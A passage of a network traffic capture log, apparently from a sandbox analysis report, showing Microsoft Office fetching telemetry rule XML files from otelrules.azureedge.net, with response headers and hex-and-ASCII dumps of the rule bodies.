2024-10-28 18:12:34 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:34 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 1515cbe5-b01e-0084-6467-28d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181234Z-17fbfdc98bb5d4fn785en176rg00000005g0000000002dzc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:34 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49841	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:34 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:34 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:34 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 0243abe0-001e-0028-29fb-25c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181234Z-r1755647c66ss75qkr31zpy1kc0000000550000000000be2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:34 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49842	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:34 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:35 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:34 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 2e99a458-901e-0067-29ae-26b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181234Z-17fbfdc98bb7jfvg3dxcbz5xm000000003m000000000fr7a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:35 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49844	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:34 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:35 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:35 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3a0fb8a5-701e-0050-6930-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181235Z-17fbfdc98bb6vp4m3kc0kte9cs0000000670000000004gue x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:35 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49843	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:34 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:35 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:35 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: d866d412-001e-0028-1c9c-27c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181235Z-17fbfdc98bbp77nqf5g2c5aavs00000004y000000000g0tu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 18:12:35 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49845	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:35 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:35 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:35 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: eb17c832-b01e-0097-1249-274f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181235Z-r1755647c66t77qv3m6k1gb3zw0000000550000000000bdg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:35 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49846	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:35 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:35 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:35 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 255ed8c5-301e-0051-461c-2738bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181235Z-17fbfdc98bb2cvg4m0cmab3ecw000000046g000000001tmp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:35 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49847	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:35 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:35 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:35 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: cdbfd92d-501e-0029-317f-27d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181235Z-r1755647c66f4bf880huw27dwc00000006p000000000gv2k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:35 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49848	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:35 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:35 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:35 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 174e4ed1-f01e-0052-3d1b-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181235Z-r1755647c66hxv26qums8q8fsw00000003h0000000006y6u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:35 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49849	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:35 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:35 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:35 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 4e087ea8-e01e-0099-0e5a-28da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181235Z-r1755647c66hxv26qums8q8fsw00000003e000000000e4s8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:35 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49850	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:36 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:36 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:36 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 5ec9f71f-c01e-0082-7a31-26af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181236Z-r1755647c6688lj6g0wg0rqr1400000005p0000000003prt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 18:12:36 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49851	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:36 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:36 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:36 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 816a6405-301e-001f-06d8-21aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181236Z-17fbfdc98bbwj6cp6df5812g4s00000006wg00000000abkn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
